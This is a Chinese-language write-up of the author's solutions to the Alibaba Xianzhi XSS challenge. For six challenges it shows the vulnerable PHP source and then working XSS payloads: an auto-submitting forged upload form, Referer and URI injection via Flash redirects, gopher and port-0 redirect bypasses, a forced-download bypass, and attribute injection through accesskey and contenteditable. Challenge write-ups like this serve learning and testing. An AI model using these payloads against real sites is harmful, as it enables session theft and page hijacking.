阿里先知XSS挑战赛

0x00 前言

最近阿里先知论坛发起XSS挑战赛,记录一下自己做出的几道题的思路

0x01 题目及解答

1.XSS-文件上传

两个文件的源码如下
xss1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>

xss1.htm

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<form action="xss1.php" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>

解题思路
直接上传一个构造好文件名的图片即可触发xss,但是实际使用中不可能要求攻击对象自己上传图片并burp修改文件名,难点在如何构造一个POST包自动模拟上传文件,参考:从XSSer的角度测试上传文件功能,可以在IE浏览器下实现文件上传模拟,这里需要先上传正常图片burp抓包对比,然后构造对应的字段,而且不能再filename中出现字符/,最后构造poc文件如下:

1
2
3
4
5
6
7
<html>
<meta charset=utf-8>
<form id="form" enctype="multipart/form-data" accept-charset="utf-8" action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php" method="POST">
<textarea name='fileToUpload"; filename="<svg onload=alert(document.domain);>GIF89a1.jpg' Content-Type="image/jpeg">xss</textarea><input type="submit" value="submit" />
</form>
<script>document.getElementById('form').submit();</script>
</html>

2.XSS-referrer和REQUEST_URI

两个题的源码
xss4.php

1
2
3
4
5
6
7
8
9
10
11
<?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自:".$_SERVER['HTTP_REFERER'];?>
</body>
</html>

xss13.php

1
2
3
4
<?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>

解题思路
直接返回请求的referer值或REQUEST_URI到页面上,所以可以插入执行XSS
第一种解法:由于chrome和firefox浏览器以及win10版的IE浏览器均会把referer及REQUEST_URI采用URL编码,所以不能成功执行XSS脚本,但是可以在Win7操作系统下的IE浏览器上不会进行URL编码,可以利用如下脚本跳转触发XSS,

1
2
3
4
5
<html>
<script>
window.location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php";
</script>
</html>

请求url为:

1
http://localshot/xss4.html?<script>alert(document.domain)</script>

第二种解法:利用flash跳转可以在Win10的IE下成功执行XSS,参考XSS via Referrer After Anniversary Update
(1)利用navigateToURL跳转
利用Adobe Flash Professional CS6工具,新建ActionScript文件命名xss_referrer.as,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
}
public function xss():String{
var url:URLRequest = new URLRequest("http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php");
navigateToURL(url, "_self");
}
}
}
```
保存,然后新建ActionScript 3.0(.fla)文件,xss_referrer.as保存在同一目录下,F9进入动作编程界面,输入内容如下:
```javascript
var xss:xss_referrer = new xss_referrer();

接着导出为swf文件。
请求url为(Win10下的IE成功执行脚本):

1
http://localshot/xss4.swf?<script>alert(document.domain)</script>

(2)利用getURL跳转
利用Adobe Flash Professional CS6工具,新建ActionScript 2.0(.fla)文件,笔者测试如果选择ActionScript 3.0文件会提示没有getURL函数,输入内容如下:

1
getURL("http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php","","get")

同样需要导出为swf文件
请求url为(Win10下的IE成功执行脚本):

1
http://localshot/xss4.swf?<script>alert(document.domain)</script>

3.XSS-跳转

源码文件
xss5.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>

解题思路
开时想采用%00,%0a,%0d来阻止location跳转,参考Bottle HTTP 头注入漏洞探究,然而都过滤了,在朋友的指点下学习了不同解法
(1)gopher协议

1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=gopher://123%27%20./a%3E%20%3Cscript%3Ealert(document.domain)%3C/script%3E

(2)端口号(0、1、9、117等)

1
ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=https://www.baidu.com:0?'</a><script>alert(1)</script>

4.XSS-强制下载

源码文件
xss6.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>

解题思路
%00 %0a %0d来阻止下载,返回目标问文件内容导致xss,
xss6.txt的内容为

1
<script>alert(document.domain)</script>

还有这里需要使用域名的方式绕过限制,请求URL如下:

1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?filename=%00<11111111111111>download&url=http://xxxxxxxx.eu5.org/xss6.txt

5.XSS-HIDDEN

源码文件
xss14.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>

解题思路
参考当XSS遇到input hidden属性,利用accesskey在Firefox下成功执行,在Firefox下,使用ALT+SHIFT+X快捷键来触发XSS,请求URL如下:

1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=123' accesskey='X' onclick='alert(document.domain)'//

6.XSS-passive element

源码文件
xss17.php

1
2
3
4
5
6
7
8
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
?>

解题思路
参考XSS without User Interaction from passive Elements,可以在除了Firefox下的浏览器上非交互直接执行XSS代码

1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=1' onfocus='alert(1)' contenteditable tabindex='0' id='xss

朋友也提到使用上一题的accesskey也可以,但是只能在Firefox下,使用ALT+SHIFT+X快捷键来触发XSS

1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=xss ' accesskey=X onclick=alert(1) id='xss

0x03小结

此处XSS挑战学习了很多的新姿势,但是有不少情况存在一定的局限性,要求特定浏览器、特定版本、操作系统等。当然作为技术交流,这次的挑战赛很赞。